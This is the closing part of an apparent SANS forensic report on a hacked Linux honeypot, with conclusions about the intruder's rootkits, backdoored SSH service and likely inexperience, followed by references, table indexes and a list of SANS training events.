   The hacker also infected the system with a RST virus when he ran the SSH scanner on August 18th at 5:49:48. This virus actually broke the ptrace exploit programs, which makes it look as if the hacker almost hacked himself out of the system by breaking one of his modes of entry. However, the hacker still got in through the modified SSH service he installed and continued his attack.
   As the last command listed in the .bash_history file, the hacker deleted a few of the archive files he had downloaded, and deleted the directory containing the woot.tgz programs.
   Every modified file on the system can be accounted for by either analysis of the hacker commands listed in .bash_history, as files that normally change, such as logs, or as files modified by the system administrator before or after the incident. The timing for most of these commands were also verified by looking at the timeline of file modification, access, or creation times (MAC times.)
   There is a period of time unaccounted for, between August 18th 2004 at 9:55:55 (last file deleted,) and 14:47:18 PST when the last SSH connection opened by the hacker had been closed. During this time, no commands were recorded, and no files appear to have been changed.

9.2 Final Conclusions

Based on what has been shown during the analysis, what do we know about the hacker(s) who broke into the Honeypot system? There is no conclusive evidence pointing to who the hacker was, or where he was physically located during his attacks. Two of the 3 IP addresses used in the attack are from Romania, and the websites where most of the downloaded files were also located in Romania, so it may be reasonable to conclude that the hacker was based there. Also, a majority of the attack took place starting at about 4am PST, which is 3pm EEST (Eastern European Standard Time, the time zone Romania falls under.) Hackers are a late night crowd, but starting at 4am seems a bit late. Starting at 3pm, after you get home from school, seems more reasonable, but in reality, the hacker could have been sitting in an office in Baltimore (4am PST = 7am EST), and just using the systems in Romania as a proxy to hide his identity. We will never know.

One thing I can say about the attacker is that he/she wasn't very experienced, or was extremely uncaring. The poorly written install script, the multiple Kernel level rootkits when only one would have done the trick AND been easier to hide, the system logs that remained uncleared, and the virus all point towards someone commonly called a “script kiddie.” Someone who has access to nice tools, and knows just enough about them to type “./install” and that's
about it. The hacker had more than enough tools available to completely hide his tracks, and make any files left on the system very difficult to find. Even using the `clean` utility to purge the system logs of references to him would have made things much more difficult. In fact, one of the rootkits was actually setup to hide connections from an IP range *that wasn't the same as the hackers!* Even the tools the hacker used were used incorrectly! Either all this was done because the script kiddie didn't know any better, or because the Master hacker in Baltimore was bored, and really didn't care about hiding his tracks, because he was just practicing anyway. I tend to think the “script kiddie” scenario is more likely, but I am open to other possibilities!

This all said, the attacker, kiddie or not, did do damage to the system. Had this been an actual system, it would most likely have to be rebuilt after this attack, just to insure no lasting back doors were available for the hacker to return through. This would have cost time and money in a real company. All the more reason not to have easy to guess passwords on a system, isn't it?

Why was this all done? No one can say for sure, but I suspect it was partially for bragging rights, “Look, I hacked X systems today” and partially for practice. It's always nice to have a hacked system “in your back pocket” for special occasions such as attacking an offending IRC server, or spamming someone who doesn't agree with your way of thinking. And maybe one day, with enough practice, this hacker can tell others,

**How not to use a rootkit**
Published References


Green, J. Carrier, B., & Lee, R. *Forensic Methodology Illustrated using Linux I & II*. The SANS Institute, 2004


Salgado, Richard P., *Forensics and Incident Response: The Law Enforcement Perspective*. The SANS Institute, 2004

Fung, J., *Dead Linux Machines Do Tell Tales*. The SANS Institute, 2003

Web References


“Kernel Rootkits Explained”, Neworder, Apr 2002, 

pragmatic / THC, “(nearly) Complete Linux Loadable Kernel Modules”, Mar 1999, 

“Reporting mirkforce and networks compromised”, Version 1.3, Feb 2001, 
Index of Tables

Table 2.1 Evidence List ................................................................. 2
Table 4.1 dcfldd options ............................................................... 5
Table 5.1 Mount options .............................................................. 8
Table 5.2 md5deep options ............................................................ 10
Table 6.1 fls options ................................................................. 33
Table 6.2 ils options ................................................................. 34
Table 6.3 mactime options ......................................................... 34
Table 6.4 Timeline: OS install .................................................... 35
Table 6.5 Timeline: Adding the "test" user .................................... 36
Table 6.6 Timeline: User "test" password change ......................... 37
Table 6.7 Timeline: Adore install ............................................... 37
Table 6.8 Timeline: sk install .................................................... 38
Table 6.9 Timeline: Hacker cleanup .......................................... 40
Table 6.10 Timeline: Root login, and .sniffer password capture .... 41
Table 8.1 dls options ................................................................. 44
Table 8.2 strings options ........................................................... 44
Table 8.3 egrep options ............................................................. 44

Index of Text Frames

Text 4.1 MD5 hash of original disk drive ..................................... 5
Text 4.2 MD5 hash of disk image ................................................ 6
Text 4.3 mmls ........................................................................... 6
Text 4.4 dcfldd ......................................................................... 7
Text 5.1 mounting the hacked disk image .................................... 8
Text 5.2 md5deep ................................................................. 9
Text 5.3 unusual-differences between original and hacked image .. 10
Text 5.4 /etc/issue ............................................................... 11
Text 5.5 original partition mount locations .................................. 12
Text 5.6 hidden files ............................................................. 12
Text 5.7 non-standard names ................................................... 13
Text 5.8 normal files in /dev .................................................... 13
Text 5.9 searching for signs of infection in /bin ......................... 14
Text 5.10 modification times of the infected files ....................... 15
Text 5.11 sorted inode list of /bin .......................................... 17
Text 5.12 network traffic to virus target .................................... 17
Text 5.13 SIUD/SGID files .................................................... 19
Text 5.14 last login logs ......................................................... 20
Text 5.15 login information from /var/log/messages .................. 20
Text 5.16 .bash_history 1-3 .................................................. 22
Text 5.17 .bash_history 4-10 .................................................. 22
Text 5.18 .bash_history 10-22 ............................................... 23
Text 5.19 strings output from /home/test/exp1/a ....................... 24
Text 5.20 file information on “a” and “p” ................................. 25
Text 5.21 .bash_history 23-27 ............................................... 26
Text 5.22 .bash_history 28-33 ............................................... 28
# Upcoming SANS Forensics Training

<table>
<thead>
<tr>
<th>Course Title</th>
<th>Location</th>
<th>Dates</th>
<th>Location Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS 2020</td>
<td>Orlando, FL</td>
<td>Apr 03, 2020 - Apr 10, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Middle East April 2020</td>
<td>Dubai, United Arab Emirates</td>
<td>Apr 11, 2020 - Apr 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Bethesda 2020</td>
<td>Bethesda, MD</td>
<td>Apr 13, 2020 - Apr 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Minneapolis 2020</td>
<td>Minneapolis, MN</td>
<td>Apr 13, 2020 - Apr 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London April 2020</td>
<td>London, United Kingdom</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Brussels April 2020</td>
<td>Brussels, Belgium</td>
<td>Apr 20, 2020 - Apr 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Spring 2020</td>
<td>Baltimore, MD</td>
<td>Apr 27, 2020 - May 02, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Hong Kong SE Asia 2020</td>
<td>Hong Kong, Hong Kong</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Amsterdam May 2020</td>
<td>Amsterdam, Netherlands</td>
<td>May 11, 2020 - May 18, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Security West 2020</td>
<td>San Diego, CA</td>
<td>May 11, 2020 - May 16, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS San Antonio 2020</td>
<td>San Antonio, TX</td>
<td>May 17, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Northern Virginia- Alexandria 2020</td>
<td>Alexandria, VA</td>
<td>May 17, 2020 - May 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Autumn Sydney 2020</td>
<td>Sydney, Australia</td>
<td>May 18, 2020 - May 23, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Dublin May 2020</td>
<td>Dublin, Ireland</td>
<td>May 25, 2020 - May 30, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Nashville Spring 2020</td>
<td>Nashville, TN</td>
<td>May 26, 2020 - May 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Atlanta Spring 2020</td>
<td>Atlanta, GA</td>
<td>May 26, 2020 - May 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Chicago Spring 2020</td>
<td>Chicago, IL</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS London June 2020</td>
<td>London, United Kingdom</td>
<td>Jun 01, 2020 - Jun 06, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS FOR508 Milan June 2020 (in Italian)</td>
<td>Milan, Italy</td>
<td>Jun 08, 2020 - Jun 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Las Vegas Summer 2020</td>
<td>Las Vegas, NV</td>
<td>Jun 08, 2020 - Jun 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Zurich June 2020</td>
<td>Zurich, Switzerland</td>
<td>Jun 15, 2020 - Jun 20, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Cyber Defence Japan 2020</td>
<td>Tokyo, Japan</td>
<td>Jun 29, 2020 - Jul 11, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Cyber Defence Canberra 2020</td>
<td>Canberra, Australia</td>
<td>Jun 29, 2020 - Jul 11, 2020</td>
<td>Live Event</td>
</tr>
</tbody>
</table>